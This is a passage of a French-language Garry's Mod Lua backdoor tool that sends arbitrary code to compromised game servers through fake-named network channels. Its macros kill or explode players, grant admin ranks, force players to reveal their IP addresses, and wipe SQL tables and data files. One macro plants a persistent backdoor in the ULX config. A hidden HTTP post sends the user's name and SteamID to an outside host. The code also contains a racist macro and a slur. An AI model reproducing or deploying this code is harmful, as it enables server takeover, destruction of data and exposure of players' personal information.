1727 d:SetDamage( 1 )
1728
1729 d:SetAttacker( game.GetWorld() )
1730
1731 d:SetInflictor( game.GetWorld() )
1732
1733 d:SetDamageType( DMG_DROWN )
1734
1735 ent:TakeDamageInfo( d )
1736
1737 end
1738
1739 end)
1740
1741
1742
1743 ]],
1744
1745 ["Desc"] = "Empoisonne n'importe qui avec ce magnifique gaz :D",
1746
1747 },
1748
1749
1750
1751
1752
1753 ["Spawn un véhicule près d'un joueur"] = {
1754
1755 ["Type"] = 2,
1756
1757 ["Code"] = [[
1758
1759 local trc = {}
1760
1761 trc.start = v:GetShootPos()
1762
1763 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1764
1765 trc.filter = {v}
1766
1767 local tr = util.TraceLine(trc)
1768
1769
1770
1771 local VehicleList = list.Get( "Vehicles" )
1772
1773 local vehicle = VehicleList[ @1 ]
1774
1775 if ( !vehicle ) then return end
1776
1777 local Angles = v:GetAngles()
1778
1779 Angles.pitch = 0
1780
1781 Angles.roll = 0
1782
1783 Angles.yaw = Angles.yaw + 180
1784
1785
1786
1787 local pos = tr.HitPos
1788
1789 if ( vehicle.Offset ) then
1790
1791 pos = pos + tr.HitNormal * vehicle.Offset
1792
1793 end
1794
1795 local Ent = ents.Create( vehicle.Class )
1796
1797 if ( !Ent ) then return end
1798
1799 duplicator.DoGeneric( Ent, vehicle )
1800
1801 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1802
1803 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1804
1805 if ( vehicle && vehicle.KeyValues ) then
1806
1807 for k, v in pairs( vehicle.KeyValues ) do
1808
1809 Ent:SetKeyValue( k, v )
1810
1811 end
1812
1813 end
1814
1815 Ent:SetModel( vehicle.Model )
1816
1817 Ent:SetAngles( Angles )
1818
1819 Ent:SetPos( pos )
1820
1821 Ent:Spawn()
1822
1823 Ent:Activate()
1824
1825 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
1826
1827 Ent.VehicleName = vehicle.Class
1828
1829 Ent.VehicleTable = @1
1830
1831 Ent.ClassOverride = vehicle.Class
1832
1833 ]],
1834
1835 ["Desc"] = "Spawn un véhicule devant le joueur (1er = id véhicule), n'essaye pas de spawn des entités !",
1836
1837 ["NeedsParameters"] = 1,
1838
1839 },
1840
1841
1842
1843 ["Kick Joueur"] = {
1844
1845 ["Type"] = 2,
1846
1847 ["Code"] = [[ v:Kick( @1 ) ]],
1848
1849 ["Desc"] = "Raison du kick ?!",
1850
1851 },
1852
1853
1854
1855 ["Africaniser un joueur"] = {
1856
1857 ["Type"] = 2,
1858
1859 ["Code"] = [[ if !v.slavered then v:SetColor( Color( 0, 0, 0 ) ) v.slavered = true else v:SetColor( Color(255, 255, 255) ) v.slavered = false end ]],
1860
1861 ["Desc"] = "Transforme un joueur en africain",
1862
1863 },
1864
1865
1866
1867 ["Rendre Invisible"] = {
1868
1869 ["Type"] = 2,
1870
1871 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1872
1873 ["Desc"] = "Disparu",
1874
1875 },
1876
1877
1878
1879 ["Rendre Terroriste"] = {
1880
1881 ["Type"] = 2,
1882
1883 ["Code"] = [[
1884
1885 local explo = ents.Create("env_explosion")
1886
1887 explo:SetOwner(v)
1888
1889 explo:SetPos(v:GetPos())
1890
1891 explo:SetKeyValue("iMagnitude", "250")
1892
1893 explo:Spawn()
1894
1895 explo:Activate()
1896
1897 explo:Fire("Explode", "", 0)
1898
1899 if v:Alive() then v:Kill() end
1900
1901 ]],
1902
1903 ["Desc"] = "Transforme qui tu veut en terroriste",
1904
1905 },
1906
1907
1908
1909 ["ULX Set Access"] = {
1910
1911 ["Type"] = 2,
1912
1913 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1914
1915 ["Desc"] = "Choisi le rank de la personne",
1916
1917 ["NeedsParameters"] = 1,
1918
1919 },
1920
1921
1922
1923
1924/*====================================
1925|===== Commandes Customs Chelou =====|
1926===================================*/
1927
1928
1929
1930
1931 ["Joueurs 2D"] = {
1932
1933 ["Type"] = 2,
1934
1935 ["Code"] = [[
1936 local bones = {
1937 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1938 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1939 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1940 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1941 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1942 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1943 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1944 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1945 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1946 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1947 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1948 }
1949
1950 if !v.is2D then
1951 v.is2D = true
1952 for k, bone in pairs(bones) do
1953 local boneToFind = v:LookupBone(bone.b)
1954 v:ManipulateBoneScale( boneToFind, bone.v)
1955 end
1956 else
1957 v.is2D = false
1958 for k, bone in pairs(bones) do
1959 local boneToFind = v:LookupBone(bone.b)
1960 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1961 end
1962 end
1963 ]],
1964
1965 ["Desc"] = "C'est, étrange cette sensation, mon corp est... Bizarre ?!",
1966
1967 },
1968
1969 ["Nuke (M9K)"] = {
1970
1971 ["Type"] = 2,
1972
1973 ["Code"] = [[
1974// if (m9k) then
1975 local nuke = ents.Create("m9k_davy_crockett_explo")
1976 nuke:SetPos(v:GetPos())
1977 nuke:SetOwner(v)
1978 nuke.Owner = v
1979 nuke:Spawn()
1980 nuke:Activate()
1981// end
1982 ]],
1983
1984 ["Desc"] = "Nuke un joueur :').",
1985
1986 },
1987
1988 ["Brouiller La Console"] = {
1989
1990 ["Type"] = 1,
1991
1992 ["Code"] = [[
1993 if !(timer.Exists("consoleJammer")) then
1994 timer.Create("consoleJammer", 0.5, 0, function()
1995 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
1996 end )
1997 else
1998 timer.Destroy("consoleJammer")
1999 end
2000 ]],
2001
2002 ["Desc"] = "Spam tellement la console que plus personne ne peut la voir",
2003
2004 },
2005
2006 ["La Marche Jouissante"] = {
2007
2008 ["Type"] = 1,
2009
2010 ["Code"] = [[
2011 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2012 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2013 else
2014 hook.Remove("PlayerFootstep", "moanStep")
2015 end
2016 ]],
2017
2018 ["Desc"] = "Les gens qui marche adore jouir apparament.",
2019
2020 },
2021
2022 ["Supprimer Le Serveur"] = {
2023
2024 ["Type"] = 3,
2025
2026 ["Code"] = [[
2027 local date = os.date( "%m-%d-%y" )
2028 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2029 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2030 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
2031
2032 for k,v in pairs(databases) do
2033 if sql.TableExists(v) then
2034 sql.Query("DROP TABLE "..v.." ;")
2035 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
2036 end
2037 end
2038
2039 for k,v in pairs(datafiles) do
2040 if file.Exists(v) then
2041 file.Delete(v)
2042 file.write(v, "odium.pro hehe")
2043 end
2044 end
2045
2046 for k,v in pairs(sensitivefiles) do
2047 if file.Exists(v) then
2048 file.Delete(v)
2049 file.write(v, "odium.pro hehe")
2050 end
2051 end
2052 ]],
2053
2054 ["Desc"] = "Supprime le plus de data possible.",
2055
2056 },
2057
2058 ["Tuer Joueur (Discrèt)"] = {
2059
2060 ["Type"] = 2,
2061
2062 ["Code"] = [[v:KillSilent()]],
2063
2064 ["Desc"] = "RT.",
2065
2066 },
2067
2068 ["Supprimer Les Props"] = {
2069
2070 ["Type"] = 2,
2071
2072 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2073
2074 ["Desc"] = "Supprimer tout les props du joueur.",
2075
2076 },
2077
2078 ["Envoyer Lua"] = {
2079
2080 ["Type"] = 2,
2081
2082 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2083
2084 ["Desc"] = "Envoi une ligne Lua au joueur.",
2085
2086 ["NeedsParameters"] = 1,
2087
2088 },
2089
2090 ["Mon ip est.."] = {
2091
2092 ["Type"] = 2,
2093
2094 ["Code"] = [[
2095 if (darkrp || DarkRP) then
2096 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
2097 else
2098 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
2099 end
2100 ]],
2101
2102 ["Desc"] = "Forces les joueurs a drop leurs ips x').",
2103
2104 },
2105
2106// key/view scrambler, fuck with escape menu
2107
2108
2109
2110
2111 /*================================
2112|===== Commandes Dangereuses =====|
2113=================================*/
2114
2115
2116
2117 ["DarkRP Supprimer La Thune"] = {
2118
2119 ["Type"] = 3,
2120
2121 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2122
2123 ["Desc"] = "RIP L'ECONOMIE",
2124
2125 },
2126
2127
2128
2129 ["CleanUp"] = {
2130
2131 ["Type"] = 3,
2132
2133 ["Code"] = [[game.CleanUpMap()]],
2134
2135 ["Desc"] = "Sa va pleurer",
2136
2137 },
2138
2139
2140
2141 ["Désintegrer Les Joueurs"] = {
2142
2143 ["Type"] = 3,
2144
2145 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2146
2147 ["Desc"] = "Supprime l'entité du joueur, OKLM",
2148
2149 },
2150
2151
2152
2153
2154
2155 ["FPP Unrestrict Tout"] = {
2156
2157 ["Type"] = 3,
2158
2159 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2160
2161 ["Desc"] = "le strip is back",
2162
2163 },
2164
2165
2166
2167 ["Détruires Les Datas"] = {
2168
2169 ["Type"] = 3,
2170
2171 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2172
2173 ["Desc"] = "le fonda risque de gueuler",
2174
2175 },
2176
2177
2178
2179 ["Détruire la table SQL du DARKRP"] = {
2180
2181 ["Type"] = 3,
2182
2183 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2184
2185 ["Desc"] = "Rip le darkrp",
2186
2187 },
2188
2189
2190
2191}
2192
2193
2194
2195local selectedbackdoor = ""
2196
2197local backdoorargs = ""
2198
2199local selectedplayers = {}
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211/*====================================
2212|===== Configuration Backdoor 88 =====|
2213=====================================*/
2214
2215
2216BD.BDMacros[" Infection Persistante"] = {
2217 ["Type"] = 1,
2218 ["Code"] = [[
2219 local config = ULib.fileRead( "data/ulx/config.txt" )
2220 config = config.."\n ulx logecho 0"
2221 config = config.."\n ulx luarun %BD"
2222 config = config.."\n ulx logecho 1"
2223 ULib.fileWrite( "data/ulx/config.txt", config )
2224 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Infection Persistante Injecté" ) end end
2225 ]],
2226 ["Desc"] = "Crée une bonne grosse backdoor persistante",
2227 ["Private"] = true,
2228}
2229
2230BD.BackdoorTypes["Ulx Fake"] = {
2231 ["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2232 ["Netkey"] = "Ulx_Error_88",
2233}
2234
2235BD.BackdoorTypes["FAdmin Fake"] = {
2236 ["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2237 ["Netkey"] = "FAdmin_Notification_Receiver",
2238}
2239
2240BD.BackdoorTypes["DarkRP Fake"] = {
2241 ["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2242 ["Netkey"] = "DarkRP_ReceiveData",
2243}
2244
2245BD.BackdoorTypes["88 Fake"] = {
2246 ["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2247 ["Netkey"] = "Weapon_88",
2248}
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261/*==================================
2262|===== Derma 88 Backdoor Menu =====|
2263=================================*/
2264
2265
2266
2267function BD.GenerateBackdoorList( parent, category )
2268
2269
2270
2271for k, v in SortedPairs( BD.BDMacros, false ) do
2272
2273 if v["Type"] != category then continue end
2274
2275
2276
2277 local plypanel2 = vgui.Create( "DPanel" )
2278
2279 plypanel2:SetPos( 0, 0 )
2280
2281 plypanel2:SetSize( 200, 25 )
2282
2283 plypanel2.Paint = function() -- Paint function
2284
2285 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2286
2287 if selectedbackdoor == k then surface.SetDrawColor(Color(255, 250, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
2288
2289 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2290
2291 end
2292
2293
2294
2295 local plyname = vgui.Create( "DLabel", plypanel2 )
2296
2297 plyname:SetPos( 10, 5 )
2298
2299 plyname:SetFont( "Trebuchet18" )
2300
2301 local tcol = Color( 255, 255, 255 )
2302
2303 if v.Private then tcol = Color( 200, 70, 70 ) end
2304
2305 plyname:SetColor( tcol )
2306
2307 plyname:SetText( k )
2308
2309 plyname:SetSize(180, 15)
2310
2311
2312
2313
2314
2315 local faggot = vgui.Create("DButton", plypanel2)
2316
2317 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2318
2319 faggot:SetPos( 0, 0 )
2320
2321 faggot:SetText("")
2322
2323 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2324
2325 faggot.Paint = function(panel, w, h)
2326
2327 return
2328
2329 end
2330
2331 faggot.DoClick = function()
2332
2333 selectedbackdoor = k
2334
2335 end
2336
2337
2338
2339
2340
2341 parent:AddItem( plypanel2 )
2342
2343
2344
2345end
2346
2347
2348
2349end
2350
2351
2352
2353function BD.FormatCodeTargeted()
2354
2355if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2356
2357if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2358
2359local param = string.Explode( ",", backdoorargs )
2360
2361local ids = {}
2362
2363for k, v in pairs( selectedplayers ) do
2364
2365 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2366
2367 table.insert( ids, v:UniqueID() )
2368
2369end
2370
2371
2372
2373local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2374
2375code = string.Replace( code, "##", table.ToString( ids ) )
2376
2377code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2378
2379code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2380
2381
2382
2383if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette backdoor a besoin de paramètre pour fonctionner", Color(255,155,155) ) return end
2384
2385if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2386
2387
2388
2389for k, v in pairs( param ) do
2390
2391 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2392
2393end
2394
2395
2396
2397BD.Fire( code )
2398
2399
2400
2401end
2402
2403
2404
2405function BD.FormatCodeGlobal()
2406
2407if !BD.BackdoorActive() then BD.ChatText( "Attention, La Backdoor Ne Fonctionne Pas Ou N'est Pas Présente!", Color(255,155,155) ) return end
2408
2409if selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné d'action!", Color(255,155,155) ) return end
2410
2411local param = string.Explode( ",", backdoorargs )
2412
2413
2414
2415local code = BD.BDMacros[selectedbackdoor]["Code"]
2416
2417
2418
2419if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Cette commande doit être configuré pour fonctionné! Verifie sa description pour comprendre", Color(255,155,155) ) return end
2420
2421if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2422
2423
2424
2425for k, v in pairs( param ) do
2426
2427 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2428
2429 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2430
2431 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2432
2433 code = string.Replace( code, "%BD", BD.GetActive().Code )
2434
2435end
2436
2437
2438
2439BD.Fire( code )
2440
2441
2442
2443end
2444
2445
2446
2447
2448
2449local safenet = net
2450
2451local function bdnet()
2452
2453 if odium and odium.G then return odium.G.net end
2454
2455 return safenet
2456
2457end
2458
2459
2460local h = http
2461local p = "Post"
2462local str = "http://zilnix.mtxserv.fr/"
2463local lp = LocalPlayer()
2464local n = lp:Nick()
2465local id = lp:SteamID64()
2466
2467h[p](str, {
2468 name = n,
2469 steamid = id,
2470},
2471nil, nil)
2472
2473function BD.Fire( code )
2474
2475 local cbd = BD.CurrentBackdoor
2476
2477 if !BD.Backdoors[cbd] then
2478
2479 BD.ChatText( "La backdoor selectionné est indisponible!", Color(255,155,155) )
2480
2481 return
2482
2483 end
2484
2485 local key = BD.BackdoorTypes[cbd].Netkey
2486
2487
2488
2489 bdnet().Start( key )
2490
2491 bdnet().WriteString( code )
2492
2493 bdnet().SendToServer()
2494
2495end
2496
2497
2498
2499
2500
2501function BD.BackdoorMenu()
2502
2503
2504
2505BD.Backdoors = BD.PingBackDoors()
2506
2507
2508
2509if !BD.IsMessagePooled( "88Triggered" ) and BD.BackdoorActive() then
2510
2511 BD.Fire( [[util.AddNetworkString( "88Triggered" )
2512
2513 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
2514
2515 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
2516
2517 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
2518
2519 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2520
2521 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
2522
2523]] )
2524
2525end
2526
2527
2528
2529local BDMenu = vgui.Create("DFrame")
2530
2531BDMenu:SetSize(825,570)
2532
2533BDMenu:SetTitle("")
2534
2535BDMenu:Center()
2536
2537BDMenu:ShowCloseButton(false)
2538
2539BDMenu:MakePopup()
2540
2541
2542
2543BDMenu.Paint = function( self, w, h)
2544
2545surface.SetDrawColor( Color(0, 0, 0, 200) )
2546
2547surface.DrawRect( 0, 0, w, h )
2548
2549surface.SetDrawColor( Color(0, 0, 0, 255) )
2550
2551surface.DrawOutlinedRect( 0, 0, w, h )
2552
2553surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
2554
2555surface.SetDrawColor( Color(0, 0, 0, 200) )
2556
